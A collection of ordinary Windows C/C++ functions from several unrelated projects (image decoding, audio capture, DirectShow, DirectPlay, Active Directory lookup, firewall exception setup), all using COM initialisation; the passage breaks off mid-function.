/// <summary> /// Load an image from a resource into a buffer /// </summary> /// <param name="resourceName">name of image resource to load</param> /// <param name="resourceType">type of resource to load</param> /// <param name="nOutputWidth">width (in pixels) of scaled output bitmap</param> /// <param name="nOutputHeight">height (in pixels) of scaled output bitmap</param> /// <param name="pOutputBuffer">buffer that will hold the loaded image</param> /// <returns>S_OK on success, otherwise failure code</returns> HRESULT CColorBasics::LoadResourceImage(PCWSTR resourceName, PCWSTR resourceType, UINT nOutputWidth, UINT nOutputHeight, RGBQUAD* pOutputBuffer) { IWICImagingFactory* pIWICFactory = NULL; IWICBitmapDecoder* pDecoder = NULL; IWICBitmapFrameDecode* pSource = NULL; IWICStream* pStream = NULL; IWICFormatConverter* pConverter = NULL; IWICBitmapScaler* pScaler = NULL; HRSRC imageResHandle = NULL; HGLOBAL imageResDataHandle = NULL; void *pImageFile = NULL; DWORD imageFileSize = 0; HRESULT hrCoInit = CoInitialize(NULL); HRESULT hr = hrCoInit; if (SUCCEEDED(hr)) { hr = CoCreateInstance(CLSID_WICImagingFactory, NULL, CLSCTX_INPROC_SERVER, IID_IWICImagingFactory, (LPVOID*)&pIWICFactory); } if (SUCCEEDED(hr)) { // Locate the resource imageResHandle = FindResourceW(HINST_THISCOMPONENT, resourceName, resourceType); hr = imageResHandle ? S_OK : E_FAIL; } if (SUCCEEDED(hr)) { // Load the resource imageResDataHandle = LoadResource(HINST_THISCOMPONENT, imageResHandle); hr = imageResDataHandle ? S_OK : E_FAIL; } if (SUCCEEDED(hr)) { // Lock it to get a system memory pointer. pImageFile = LockResource(imageResDataHandle); hr = pImageFile ? S_OK : E_FAIL; } if (SUCCEEDED(hr)) { // Calculate the size. imageFileSize = SizeofResource(HINST_THISCOMPONENT, imageResHandle); hr = imageFileSize ? S_OK : E_FAIL; } if (SUCCEEDED(hr)) { // Create a WIC stream to map onto the memory. hr = pIWICFactory->CreateStream(&pStream); } if (SUCCEEDED(hr)) { // Initialize the stream with the memory pointer and size. hr = pStream->InitializeFromMemory( reinterpret_cast<BYTE*>(pImageFile), imageFileSize); } if (SUCCEEDED(hr)) { // Create a decoder for the stream. hr = pIWICFactory->CreateDecoderFromStream( pStream, NULL, WICDecodeMetadataCacheOnLoad, &pDecoder); } if (SUCCEEDED(hr)) { // Create the initial frame. hr = pDecoder->GetFrame(0, &pSource); } if (SUCCEEDED(hr)) { // Convert the image format to 32bppPBGRA // (DXGI_FORMAT_B8G8R8A8_UNORM + D2D1_ALPHA_MODE_PREMULTIPLIED). hr = pIWICFactory->CreateFormatConverter(&pConverter); } if (SUCCEEDED(hr)) { hr = pIWICFactory->CreateBitmapScaler(&pScaler); } if (SUCCEEDED(hr)) { hr = pScaler->Initialize( pSource, nOutputWidth, nOutputHeight, WICBitmapInterpolationModeCubic ); } if (SUCCEEDED(hr)) { hr = pConverter->Initialize( pScaler, GUID_WICPixelFormat32bppPBGRA, WICBitmapDitherTypeNone, NULL, 0.f, WICBitmapPaletteTypeMedianCut); } UINT width = 0; UINT height = 0; if (SUCCEEDED(hr)) { hr = pConverter->GetSize(&width, &height); } // make sure the image scaled correctly so the output buffer is big enough if (SUCCEEDED(hr)) { if ((width != nOutputWidth) || (height != nOutputHeight)) { hr = E_FAIL; } } if (SUCCEEDED(hr)) { hr = pConverter->CopyPixels(NULL, width * sizeof(RGBQUAD), nOutputWidth * nOutputHeight * sizeof(RGBQUAD), reinterpret_cast<BYTE*>(pOutputBuffer)); } SafeRelease(pScaler); SafeRelease(pConverter); SafeRelease(pSource); SafeRelease(pDecoder); SafeRelease(pStream); SafeRelease(pIWICFactory); if (SUCCEEDED(hrCoInit)) { CoUninitialize(); } return hr; }
static int dshow_read_header(AVFormatContext *avctx) { struct dshow_ctx *ctx = avctx->priv_data; IGraphBuilder *graph = NULL; ICreateDevEnum *devenum = NULL; IMediaControl *control = NULL; int ret = AVERROR(EIO); int r; if (!ctx->list_devices && !parse_device_name(avctx)) { av_log(avctx, AV_LOG_ERROR, "Malformed dshow input string.\n"); goto error; } ctx->video_codec_id = avctx->video_codec_id ? avctx->video_codec_id : AV_CODEC_ID_RAWVIDEO; if (ctx->pixel_format != AV_PIX_FMT_NONE) { if (ctx->video_codec_id != AV_CODEC_ID_RAWVIDEO) { av_log(avctx, AV_LOG_ERROR, "Pixel format may only be set when " "video codec is not set or set to rawvideo\n"); ret = AVERROR(EINVAL); goto error; } } if (ctx->framerate) { r = av_parse_video_rate(&ctx->requested_framerate, ctx->framerate); if (r < 0) { av_log(avctx, AV_LOG_ERROR, "Could not parse framerate '%s'.\n", ctx->framerate); goto error; } } CoInitialize(0); r = CoCreateInstance(&CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER, &IID_IGraphBuilder, (void **) &graph); if (r != S_OK) { av_log(avctx, AV_LOG_ERROR, "Could not create capture graph.\n"); goto error; } ctx->graph = graph; r = CoCreateInstance(&CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER, &IID_ICreateDevEnum, (void **) &devenum); if (r != S_OK) { av_log(avctx, AV_LOG_ERROR, "Could not enumerate system devices.\n"); goto error; } if (ctx->list_devices) { av_log(avctx, AV_LOG_INFO, "DirectShow video devices\n"); dshow_cycle_devices(avctx, devenum, VideoDevice, NULL); av_log(avctx, AV_LOG_INFO, "DirectShow audio devices\n"); dshow_cycle_devices(avctx, devenum, AudioDevice, NULL); ret = AVERROR_EXIT; goto error; } if (ctx->list_options) { if (ctx->device_name[VideoDevice]) dshow_list_device_options(avctx, devenum, VideoDevice); if (ctx->device_name[AudioDevice]) dshow_list_device_options(avctx, devenum, AudioDevice); ret = AVERROR_EXIT; goto error; } if (ctx->device_name[VideoDevice]) { ret = dshow_open_device(avctx, devenum, VideoDevice); if (ret < 0) goto error; ret = dshow_add_device(avctx, VideoDevice); if (ret < 0) goto error; } if (ctx->device_name[AudioDevice]) { ret = dshow_open_device(avctx, devenum, AudioDevice); if (ret < 0) goto error; ret = dshow_add_device(avctx, AudioDevice); if (ret < 0) goto error; } ctx->mutex = CreateMutex(NULL, 0, NULL); if (!ctx->mutex) { av_log(avctx, AV_LOG_ERROR, "Could not create Mutex\n"); goto error; } ctx->event = CreateEvent(NULL, 1, 0, NULL); if (!ctx->event) { av_log(avctx, AV_LOG_ERROR, "Could not create Event\n"); goto error; } r = IGraphBuilder_QueryInterface(graph, &IID_IMediaControl, (void **) &control); if (r != S_OK) { av_log(avctx, AV_LOG_ERROR, "Could not get media control.\n"); goto error; } ctx->control = control; r = IMediaControl_Run(control); if (r == S_FALSE) { OAFilterState pfs; r = IMediaControl_GetState(control, 0, &pfs); } if (r != S_OK) { av_log(avctx, AV_LOG_ERROR, "Could not run filter\n"); goto error; } ret = 0; error: if (ret < 0) dshow_read_close(avctx); if (devenum) ICreateDevEnum_Release(devenum); return ret; }
void wmain( int argc, wchar_t *argv[ ]) { //Handle the command line arguments. LPOLESTR pszBuffer = NULL; pszBuffer = new OLECHAR[MAX_PATH*2]; if(pszBuffer == NULL) goto ret; if (argv[1] == NULL) { wprintf(L"This program finds a user in the current Window 2000 domain\n"); wprintf(L"and displays its objectSid property in string form.\n"); wprintf(L"This program demonstrates reading a property of type octet string.\n\n"); wprintf(L"Enter Common Name of the user to find:"); if ( !_getws_s(pszBuffer, MAX_PATH*2)) { delete [] pszBuffer; wprintf(L"String exceeded buffer size.\n\n"); return; } } else if ( !wcscpy_s(pszBuffer, MAX_PATH*2, argv[1])) { delete [] pszBuffer; wprintf(L"String exceeded buffer size.\n\n"); return; } //if empty string, exit. if (0==wcscmp(L"", pszBuffer)) goto ret; wprintf(L"\nFinding user: %s...\n",pszBuffer); //Intialize COM CoInitialize(NULL); HRESULT hr = S_OK; //Get rootDSE and the domain container's DN. IADs *pObject = NULL; IDirectorySearch *pDS = NULL; LPOLESTR szPath = NULL; szPath = new OLECHAR[MAX_PATH]; if(szPath == NULL) goto ret; VARIANT var; hr = ADsOpenObject(L"LDAP://rootDSE", NULL, NULL, ADS_SECURE_AUTHENTICATION, //Use Secure Authentication IID_IADs, (void**)&pObject); if (FAILED(hr)) { wprintf(L"Not Found. Could not bind to the domain.\n"); if (pObject) pObject->Release(); goto ret; } VariantInit(&var); hr = pObject->Get(L"defaultNamingContext",&var); if (SUCCEEDED(hr)) { wcscpy_s(szPath,MAX_PATH,L"LDAP://"); wcscat_s(szPath,MAX_PATH,var.bstrVal); VariantClear(&var); if (pObject) { pObject->Release(); pObject = NULL; } //Bind to the root of the current domain. hr = ADsOpenObject(szPath, NULL, NULL, ADS_SECURE_AUTHENTICATION, //Use Secure Authentication IID_IDirectorySearch, (void**)&pDS); if (SUCCEEDED(hr)) { hr = FindUserByName(pDS, //Container to search pszBuffer, //Name of user to find. &pObject); //Return a pointer to the user if (SUCCEEDED(hr)) { //Get the objectSid property hr = pObject->Get(L"objectSid", &var); if (SUCCEEDED(hr)) { LPBYTE pByte = NULL; wprintf (L"----------------------------------------------\n"); wprintf (L"----------Call GetLPBYTEtoOctetString---------\n"); wprintf (L"----------------------------------------------\n"); hr = GetLPBYTEtoOctetString(&var, //IN. Pointer to variant containing the octetstring. &pByte //OUT. Return LPBYTE to the data represented in octetstring. ); PSID pObjectSID = (PSID)pByte; //Convert SID to string. LPOLESTR szSID = NULL; ConvertSidToStringSid(pObjectSID, &szSID); wprintf(L"objectSid:%s\n",szSID); LocalFree(szSID); //Free the buffer. CoTaskMemFree(pByte); } else wprintf(L"Get method failed with hr: %x\n",hr); VariantClear(&var); } else { wprintf(L"User \"%s\" not Found.\n",pszBuffer); wprintf (L"FindUserByName failed with the following HR: %x\n", hr); } if (pObject) pObject->Release(); } if (pDS) pDS->Release(); } ret: if(pszBuffer) delete pszBuffer; if(szPath) delete szPath; //Uninitalize COM CoUninitialize(); return; }
CCpDesktop::CCpDesktop() { CoInitialize(NULL); }
bool ENABLE_FIREWALL() { BOOL couldEnable = false; HRESULT hr = S_OK; HRESULT comInit = E_FAIL; INetFwProfile* fwProfile = NULL; // Initialize COM. #if 1 comInit = CoInitialize( 0 ); #else comInit = CoInitializeEx( 0, COINIT_APARTMENTTHREADED /*| COINIT_DISABLE_OLE1DDE */ ); #endif // Ignore RPC_E_CHANGED_MODE; this just means that COM has already been // initialized with a different mode. Since we don't care what the mode is, // we'll just use the existing mode. if (comInit != RPC_E_CHANGED_MODE) { hr = comInit; if (FAILED(hr)) { fprintf( stderr, "CoInitializeEx failed: 0x%08lx\n", hr ); goto error; } } // Retrieve the firewall profile currently in effect. hr = WindowsFirewallInitialize(&fwProfile); if (FAILED(hr)) { fprintf( stderr, "WindowsFirewallInitialize failed: 0x%08lx\n", hr ); goto error; } HMODULE hm = GetModuleHandle( 0 ); wchar_t path[512]; if( !GetModuleFileNameW( hm, path, sizeof(path)/sizeof(wchar_t) ) ) { fprintf( stderr, "GetModuleFileName() failed: 0x%lx\n", GetLastError() ); goto error; } // Add the application to the authorized application collection. hr = WindowsFirewallAddApp( fwProfile, path, L"Introduction Library User" ); if (FAILED(hr)) { fprintf( stderr, "WindowsFirewallAddApp failed: 0x%08lx\n", hr ); goto error; } error: WindowsFirewallCleanup(fwProfile); if (SUCCEEDED(comInit)) { CoUninitialize(); } return couldEnable != FALSE; }
static fz_pixmap * fz_load_jxr_or_info(fz_context *ctx, unsigned char *data, int size, int *wp, int *hp, int *xresp, int *yresp, fz_colorspace **cspacep) { #ifdef _WIN32 int info_only = wp && hp && xresp && yresp && cspacep; fz_pixmap *pix = NULL; IStream *stream = NULL; IWICImagingFactory *factory = NULL; IWICBitmapDecoder *decoder = NULL; IWICFormatConverter *converter = NULL; IWICBitmapFrameDecode *src_frame = NULL; IWICBitmapSource *src_bitmap = NULL; int codec_available = 0; LARGE_INTEGER zero = { 0 }; UINT width, height; double xres, yres; ULONG written; HRESULT hr; hr = CoInitialize(NULL); if (FAILED(hr)) fz_throw(ctx, "JPEG-XR codec is not available"); #define Check(hr) if (FAILED(hr)) goto CleanUp Check(CoCreateInstance(&CLSID_WICImagingFactory, NULL, CLSCTX_ALL, &IID_IWICImagingFactory, (void **)&factory)); Check(CreateStreamOnHGlobal(NULL, TRUE, &stream)); Check(IStream_Write(stream, data, (ULONG)size, &written)); Check(IStream_Seek(stream, zero, STREAM_SEEK_SET, NULL)); Check(IWICImagingFactory_CreateDecoderFromStream(factory, stream, NULL, WICDecodeMetadataCacheOnDemand, &decoder)); Check(IWICImagingFactory_CreateFormatConverter(factory, &converter)); Check(IWICBitmapDecoder_GetFrame(decoder, 0, &src_frame)); Check(IUnknown_QueryInterface(src_frame, &IID_IWICBitmapSource, &src_bitmap)); Check(IWICFormatConverter_Initialize(converter, src_bitmap, &GUID_WICPixelFormat32bppBGRA, WICBitmapDitherTypeNone, NULL, 0.f, WICBitmapPaletteTypeCustom)); Check(IWICFormatConverter_GetSize(converter, &width, &height)); Check(IWICFormatConverter_GetResolution(converter, &xres, &yres)); #undef Check codec_available = 1; if (info_only) { *cspacep = fz_device_bgr; *wp = width; *hp = height; *xresp = (int)(xres + 0.5); *yresp = (int)(yres + 0.5); } else { fz_try(ctx) { pix = fz_new_pixmap(ctx, fz_device_bgr, width, height); } fz_catch(ctx) { pix = NULL; goto CleanUp; } hr = IWICFormatConverter_CopyPixels(converter, NULL, pix->w * pix->n, pix->w * pix->h * pix->n, pix->samples); if (FAILED(hr)) { fz_drop_pixmap(ctx, pix); pix = NULL; goto CleanUp; } pix->xres = (int)(xres + 0.5); pix->yres = (int)(yres + 0.5); } CleanUp: #define Release(unk) if (unk) IUnknown_Release(unk) Release(src_bitmap); Release(converter); Release(src_frame); Release(decoder); Release(factory); Release(stream); #undef Release CoUninitialize(); if (codec_available) { if (!pix && !info_only) fz_throw(ctx, "JPEG-XR codec failed to decode the image"); return pix; } #endif fz_throw(ctx, "JPEG-XR codec is not available"); return NULL; }
STDAPI AMovieDllRegisterServer2( BOOL bRegister ) { HRESULT hr = NOERROR; DbgLog((LOG_TRACE, 2, TEXT("AMovieDllRegisterServer2()"))); // get file name (where g_hInst is the // instance handle of the filter dll) // WCHAR achFileName[MAX_PATH]; // WIN95 doesn't support GetModuleFileNameW // { char achTemp[MAX_PATH]; DbgLog((LOG_TRACE, 2, TEXT("- get module file name"))); // g_hInst handle is set in our dll entry point. Make sure // DllEntryPoint in dllentry.cpp is called ASSERT(g_hInst != 0); if( 0 == GetModuleFileNameA( g_hInst , achTemp , sizeof(achTemp) ) ) { // we've failed! DWORD dwerr = GetLastError(); return AmHresultFromWin32(dwerr); } MultiByteToWideChar( CP_ACP , 0L , achTemp , lstrlenA(achTemp) + 1 , achFileName , NUMELMS(achFileName) ); } // // first registering, register all OLE servers // if( bRegister ) { DbgLog((LOG_TRACE, 2, TEXT("- register OLE Servers"))); hr = RegisterAllServers( achFileName, TRUE ); } // // next, register/unregister all filters // if( SUCCEEDED(hr) ) { // init is ref counted so call just in case // we're being called cold. // DbgLog((LOG_TRACE, 2, TEXT("- CoInitialize"))); hr = CoInitialize( (LPVOID)NULL ); ASSERT( SUCCEEDED(hr) ); // get hold of IFilterMapper2 // DbgLog((LOG_TRACE, 2, TEXT("- obtain IFilterMapper2"))); IFilterMapper2 *pIFM2 = 0; IFilterMapper *pIFM = 0; hr = CoCreateInstance( CLSID_FilterMapper2 , NULL , CLSCTX_INPROC_SERVER , IID_IFilterMapper2 , (void **)&pIFM2 ); if(FAILED(hr)) { DbgLog((LOG_TRACE, 2, TEXT("- trying IFilterMapper instead"))); hr = CoCreateInstance( CLSID_FilterMapper, NULL, CLSCTX_INPROC_SERVER, IID_IFilterMapper, (void **)&pIFM); } if( SUCCEEDED(hr) ) { // scan through array of CFactoryTemplates // registering servers and filters. // DbgLog((LOG_TRACE, 2, TEXT("- register Filters"))); for( int i = 0; i < g_cTemplates; i++ ) { // get i'th template // const CFactoryTemplate *pT = &g_Templates[i]; if( NULL != pT->m_pAMovieSetup_Filter ) { DbgLog((LOG_TRACE, 2, TEXT("- - register %ls"), (LPCWSTR)pT->m_Name )); if(pIFM2) { hr = AMovieSetupRegisterFilter2( pT->m_pAMovieSetup_Filter, pIFM2, bRegister ); } else { hr = AMovieSetupRegisterFilter( pT->m_pAMovieSetup_Filter, pIFM, bRegister ); } } // check final error for this pass // and break loop if we failed // if( FAILED(hr) ) break; } // release interface // if(pIFM2) pIFM2->Release(); else pIFM->Release(); } // and clear up // CoFreeUnusedLibraries(); CoUninitialize(); } // // if unregistering, unregister all OLE servers // if( SUCCEEDED(hr) && !bRegister ) { DbgLog((LOG_TRACE, 2, TEXT("- register OLE Servers"))); hr = RegisterAllServers( achFileName, FALSE ); } DbgLog((LOG_TRACE, 2, TEXT("- return %0x"), hr)); return hr; }
static bool initialize() { return SUCCEEDED( CoInitialize(NULL) ); }
int TurnerClassic::select_provider (turner_provider provider, LPVOID data) { close(); IDirectPlayLobbyA *lobby; DWORD size; char address[128]; DWORD adsize = sizeof(address); int res = DirectPlayLobbyCreate( NULL, &lobby, NULL, NULL, 0 ); if (FAILED(res)) return res; switch (provider) { case TURNER_PROVIDER_IPX: res = lobby->CreateAddress( DPSPGUID_IPX, DPAID_INet, NULL, 0, address, &adsize ); break; case TURNER_PROVIDER_TCPIP: size = (data) ? strlen((char*)data)+1 : 0; res = lobby->CreateAddress( DPSPGUID_TCPIP, DPAID_INet, data, size, address, &adsize ); break; case TURNER_PROVIDER_MODEM: size = (data) ? strlen((char*)data)+1 : 0; res = lobby->CreateAddress( DPSPGUID_MODEM, DPAID_Phone, data, size, address, &adsize ); break; case TURNER_PROVIDER_SERIAL: size = (data) ? sizeof(DPCOMPORTADDRESS) : 0; res = lobby->CreateAddress( DPSPGUID_SERIAL, DPAID_ComPort, data, size, address, &adsize ); break; default: lobby->Release(); return DPERR_UNSUPPORTED; } lobby->Release(); if (FAILED(res)) return res; //��� Initialize COM if (!TurnerCOMInit) { CoInitialize(NULL); TurnerCOMInit=1; } //��� Connect to DirectPlay res = CoCreateInstance(CLSID_DirectPlay, NULL, CLSCTX_INPROC_SERVER, IID_IDirectPlay4A, (void **) &pIDP); if (FAILED(res)) { pIDP=0; return res; } res = pIDP->InitializeConnection(address, 0); if (FAILED(res)) { pIDP->Release(); pIDP = 0; } return res; }
int wf_wasapi_get_device_string(LPWSTR pattern, LPWSTR * deviceStr) { HRESULT hr; IMMDeviceEnumerator *pEnumerator = NULL; IMMDeviceCollection *pCollection = NULL; IMMDevice *pEndpoint = NULL; IPropertyStore *pProps = NULL; LPWSTR pwszID = NULL; unsigned int count, i; CoInitialize(NULL); hr = CoCreateInstance(&CLSID_MMDeviceEnumerator, NULL, CLSCTX_ALL, &IID_IMMDeviceEnumerator, (void **) &pEnumerator); if (FAILED(hr)) { _tprintf(_T("Failed to cocreate device enumerator\n")); exit(1); } hr = pEnumerator->lpVtbl->EnumAudioEndpoints(pEnumerator, eCapture, DEVICE_STATE_ACTIVE, &pCollection); if ( FAILED(hr) ) { _tprintf(_T("Failed to create endpoint collection\n")); exit(1); } pCollection->lpVtbl->GetCount(pCollection, &count); _tprintf(_T("Num endpoints: %d\n"), count); if (count == 0) { _tprintf(_T("No endpoints!\n")); exit(1); } for (i = 0; i < count; ++i) { PROPVARIANT nameVar; PropVariantInit(&nameVar); hr = pCollection->lpVtbl->Item(pCollection, i, &pEndpoint); if ( FAILED(hr) ) { _tprintf(_T("Failed to get endpoint %d\n"), i); exit(1); } hr = pEndpoint->lpVtbl->GetId(pEndpoint, &pwszID); if ( FAILED(hr) ) { _tprintf(_T("Failed to get endpoint ID\n")); exit(1); } hr = pEndpoint->lpVtbl->OpenPropertyStore(pEndpoint, STGM_READ, &pProps); if ( FAILED(hr) ) { _tprintf(_T("Failed to open property store\n")); exit(1); } hr = pProps->lpVtbl->GetValue(pProps, &PKEY_Device_FriendlyName, &nameVar); if ( FAILED(hr) ) { _tprintf(_T("Failed to get device friendly name\n")); exit(1); } //do this a more reliable way if (wcscmp(pattern, nameVar.pwszVal) < 0) { unsigned int devStrLen; _tprintf(_T("Using sound ouput endpoint: [%s] (%s)\n"), nameVar.pwszVal, pwszID); //_tprintf(_T("matched %d characters\n"), wcscmp(pattern, nameVar.pwszVal)); devStrLen = wcslen(pwszID); *deviceStr = (LPWSTR) malloc((devStrLen * 2) + 2); ZeroMemory(*deviceStr, (devStrLen * 2) + 2); wcscpy_s(*deviceStr, devStrLen+1, pwszID); } CoTaskMemFree(pwszID); pwszID = NULL; PropVariantClear(&nameVar); pProps->lpVtbl->Release(pProps); pProps = NULL; pEndpoint->lpVtbl->Release(pEndpoint); pEndpoint = NULL; } pCollection->lpVtbl->Release(pCollection); pCollection = NULL; pEnumerator->lpVtbl->Release(pEnumerator); pEnumerator = NULL; CoUninitialize(); return 0; }
DWORD WINAPI wf_rdpsnd_wasapi_thread(LPVOID lpParam) { IMMDeviceEnumerator *pEnumerator = NULL; IMMDevice *pDevice = NULL; IAudioClient *pAudioClient = NULL; IAudioCaptureClient *pCaptureClient = NULL; WAVEFORMATEX *pwfx = NULL; HRESULT hr; REFERENCE_TIME hnsRequestedDuration = REFTIMES_PER_SEC; REFERENCE_TIME hnsActualDuration; UINT32 bufferFrameCount; UINT32 numFramesAvailable; UINT32 packetLength = 0; UINT32 dCount = 0; BYTE *pData; wfPeerContext* context; wfInfo* wfi; wfi = wf_info_get_instance(); context = (wfPeerContext*)lpParam; CoInitialize(NULL); hr = CoCreateInstance(&CLSID_MMDeviceEnumerator, NULL, CLSCTX_ALL, &IID_IMMDeviceEnumerator, (void **) &pEnumerator); if (FAILED(hr)) { _tprintf(_T("Failed to cocreate device enumerator\n")); exit(1); } hr = pEnumerator->lpVtbl->GetDevice(pEnumerator, devStr, &pDevice); if (FAILED(hr)) { _tprintf(_T("Failed to cocreate get device\n")); exit(1); } hr = pDevice->lpVtbl->Activate(pDevice, &IID_IAudioClient, CLSCTX_ALL, NULL, (void **)&pAudioClient); if (FAILED(hr)) { _tprintf(_T("Failed to activate audio client\n")); exit(1); } hr = pAudioClient->lpVtbl->GetMixFormat(pAudioClient, &pwfx); if (FAILED(hr)) { _tprintf(_T("Failed to get mix format\n")); exit(1); } pwfx->wFormatTag = wfi->agreed_format->wFormatTag; pwfx->nChannels = wfi->agreed_format->nChannels; pwfx->nSamplesPerSec = wfi->agreed_format->nSamplesPerSec; pwfx->nAvgBytesPerSec = wfi->agreed_format->nAvgBytesPerSec; pwfx->nBlockAlign = wfi->agreed_format->nBlockAlign; pwfx->wBitsPerSample = wfi->agreed_format->wBitsPerSample; pwfx->cbSize = wfi->agreed_format->cbSize; hr = pAudioClient->lpVtbl->Initialize( pAudioClient, AUDCLNT_SHAREMODE_SHARED, 0, hnsRequestedDuration, 0, pwfx, NULL); if (FAILED(hr)) { _tprintf(_T("Failed to initialize the audio client\n")); exit(1); } hr = pAudioClient->lpVtbl->GetBufferSize(pAudioClient, &bufferFrameCount); if (FAILED(hr)) { _tprintf(_T("Failed to get buffer size\n")); exit(1); } hr = pAudioClient->lpVtbl->GetService(pAudioClient, &IID_IAudioCaptureClient, (void **) &pCaptureClient); if (FAILED(hr)) { _tprintf(_T("Failed to get the capture client\n")); exit(1); } hnsActualDuration = (UINT32)REFTIMES_PER_SEC * bufferFrameCount / pwfx->nSamplesPerSec; hr = pAudioClient->lpVtbl->Start(pAudioClient); if (FAILED(hr)) { _tprintf(_T("Failed to start capture\n")); exit(1); } dCount = 0; while(wfi->snd_stop == FALSE) { DWORD flags; Sleep(hnsActualDuration/REFTIMES_PER_MILLISEC/2); hr = pCaptureClient->lpVtbl->GetNextPacketSize(pCaptureClient, &packetLength); if (FAILED(hr)) { _tprintf(_T("Failed to get packet length\n")); exit(1); } while (packetLength != 0) { hr = pCaptureClient->lpVtbl->GetBuffer(pCaptureClient, &pData, &numFramesAvailable, &flags, NULL, NULL); if (FAILED(hr)) { _tprintf(_T("Failed to get buffer\n")); exit(1); } //Here we are writing the audio data //not sure if this flag is ever set by the system; msdn is not clear about it if (!(flags & AUDCLNT_BUFFERFLAGS_SILENT)) context->rdpsnd->SendSamples(context->rdpsnd, pData, packetLength, (UINT16)(GetTickCount() & 0xffff)); hr = pCaptureClient->lpVtbl->ReleaseBuffer(pCaptureClient, numFramesAvailable); if (FAILED(hr)) { _tprintf(_T("Failed to release buffer\n")); exit(1); } hr = pCaptureClient->lpVtbl->GetNextPacketSize(pCaptureClient, &packetLength); if (FAILED(hr)) { _tprintf(_T("Failed to get packet length\n")); exit(1); } } } pAudioClient->lpVtbl->Stop(pAudioClient); if (FAILED(hr)) { _tprintf(_T("Failed to stop audio client\n")); exit(1); } CoTaskMemFree(pwfx); if (pEnumerator != NULL) pEnumerator->lpVtbl->Release(pEnumerator); if (pDevice != NULL) pDevice->lpVtbl->Release(pDevice); if (pAudioClient != NULL) pAudioClient->lpVtbl->Release(pAudioClient); if (pCaptureClient != NULL) pCaptureClient->lpVtbl->Release(pCaptureClient); CoUninitialize(); return 0; }
int WINAPI WinMain( HINSTANCE instance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { MSG msg; int done=0; WININFO *info = &wininfo; info->hInstance = GetModuleHandle( 0 ); //if( MessageBox( 0, "fullscreen?", info->wndclass, MB_YESNO|MB_ICONQUESTION)==IDYES ) info->full++; if (!window_init(info)) { window_end(info); MessageBox(0, "window_init()!", "error", MB_OK|MB_ICONEXCLAMATION); return 0; } if (initGL(info)) { return 0; } //intro_init(); // Initialize COM HRESULT hr = CoInitialize(NULL); if (FAILED(hr)) exit(-1); // Example editor usage char errorText[MAX_ERROR_LENGTH+1]; char filename[SM_MAX_FILENAME_LENGTH+1]; sprintf_s(filename, SM_MAX_FILENAME_LENGTH, "shaders/%s", usedShader[usedIndex]); if (editor.loadText(filename, errorText)) { MessageBox(info->hWnd, errorText, "Editor init", MB_OK); return -1; } start_time_ = timeGetTime(); long last_time = 0; while( !done ) { long t = timeGetTime() - start_time_; while( PeekMessage(&msg,0,0,0,PM_REMOVE) ) { if( msg.message==WM_QUIT ) done=1; TranslateMessage( &msg ); DispatchMessage( &msg ); } glClearColor(0.0f, 0.0f, 0.0f, 1.0f); glClear(GL_COLOR_BUFFER_BIT); intro_do(t, t - last_time); editor.render(t); last_time = t; SwapBuffers( info->hDC ); } window_end( info ); #ifdef MUSIC // music uninit BASS_Free(); #endif // Un-initialize COM CoUninitialize(); return( 0 ); }
BOOL CProcessMgrImpl::SetWin7Mute( BOOL bMute/* =TRUE */ ) { if ( m_bMute == bMute ) return S_OK; IMMDeviceEnumerator* pEnumerator; HRESULT hr = E_FAIL; CoInitialize( NULL ); hr = CoCreateInstance( __uuidof( MMDeviceEnumerator ), NULL, CLSCTX_ALL, __uuidof( IMMDeviceEnumerator ), ( void** )&pEnumerator ); IMMDevice* pDevice; hr = pEnumerator->GetDefaultAudioEndpoint( eRender, eConsole, &pDevice ); if ( FAILED( hr ) ) return hr; IAudioSessionManager2* pasm = NULL; hr = pDevice->Activate( __uuidof( IAudioSessionManager2 ), CLSCTX_ALL, NULL, ( void** )&pasm ); if ( FAILED( hr ) ) return hr; IAudioSessionEnumerator* audio_session_enumerator; if ( SUCCEEDED( pasm->GetSessionEnumerator( &audio_session_enumerator ) ) ) { int count; if ( SUCCEEDED( audio_session_enumerator->GetCount( &count ) ) ) { for ( int i = 0; i < count; i++ ) { IAudioSessionControl* audio_session_control; IAudioSessionControl2* audio_session_control2; if ( SUCCEEDED( audio_session_enumerator->GetSession( i, &audio_session_control ) ) ) { if ( SUCCEEDED( audio_session_control->QueryInterface( __uuidof( IAudioSessionControl2 ), ( void** )&audio_session_control2 ) ) ) { DWORD processid; if ( SUCCEEDED( audio_session_control2->GetProcessId( &processid ) ) ) { if ( processid == GetCurrentProcessId() ) { ISimpleAudioVolume* pSAV; hr = audio_session_control2->QueryInterface( __uuidof( ISimpleAudioVolume ), ( void** ) &pSAV ); if ( SUCCEEDED( hr ) ) { hr = pSAV->SetMute( bMute, NULL ); if ( SUCCEEDED( hr ) ) { m_bMute = bMute; } pSAV->Release(); } } audio_session_control->Release(); audio_session_control2->Release(); } } } } audio_session_enumerator->Release(); } } pasm->Release(); SafeRelease( &pEnumerator ); ::CoUninitialize(); return hr; }
void CDownloads_VideoPreview::Play() { USES_CONVERSION; if (m_bUsingVideo2) return; if (m_wndVideo.m_player.Get_State () != VFPS_CLOSED) { if (m_wndVideo.m_player.Get_State () != VFPS_RUNNING) m_wndVideo.m_player.Run (); return; } if (m_pActiveDownload) { HRESULT hr = E_FAIL; BOOL bWasErrMsg = FALSE; if (S_FALSE == CoInitialize (NULL)) CoUninitialize (); if (m_pActiveDownload->pMgr->IsDone ()) { hr = m_wndVideo.m_player.Open2 (m_pActiveDownload->pMgr->get_OutputFilePathName ()); if (FAILED (hr)) { fsString strFile = m_pActiveDownload->pMgr->get_OutputFilePathName (); LPCSTR psz = strrchr (strFile, '.'); if (psz++) { if (lstrcmpi (psz, "flv") == 0) { CRect rc (0,0,0,0); m_wndVideo.GetWindowRect (&rc); ScreenToClient (&rc); m_wndVideo2.Create (NULL, WS_CHILD, rc, this, 0x111a); m_wndVideo2.SetBackgroundColor (0); m_wndVideo2.LoadMovie (0, ((CFdmApp*)AfxGetApp ())->m_strAppPath + "player.swf"); m_wndVideo.ShowWindow (SW_HIDE); m_wndVideo2.ShowWindow (SW_SHOW); m_bUsingVideo2 = TRUE; CString str; str = "<invoke name=\"loadAndPlayVideo\" returntype=\"xml\">"; str += "<arguments><string>"; str += strFile; str += "</string></arguments></invoke>"; m_wndVideo2.CallFunction (str); hr = S_OK; } } } } else { UINT64 nAvail = Get_AvailFileSize (); if (nAvail) { if (FALSE == OpenFile ()) { hr = E_FAIL; bWasErrMsg = TRUE; } else hr = m_wndVideo.m_player.Open (m_hFile, 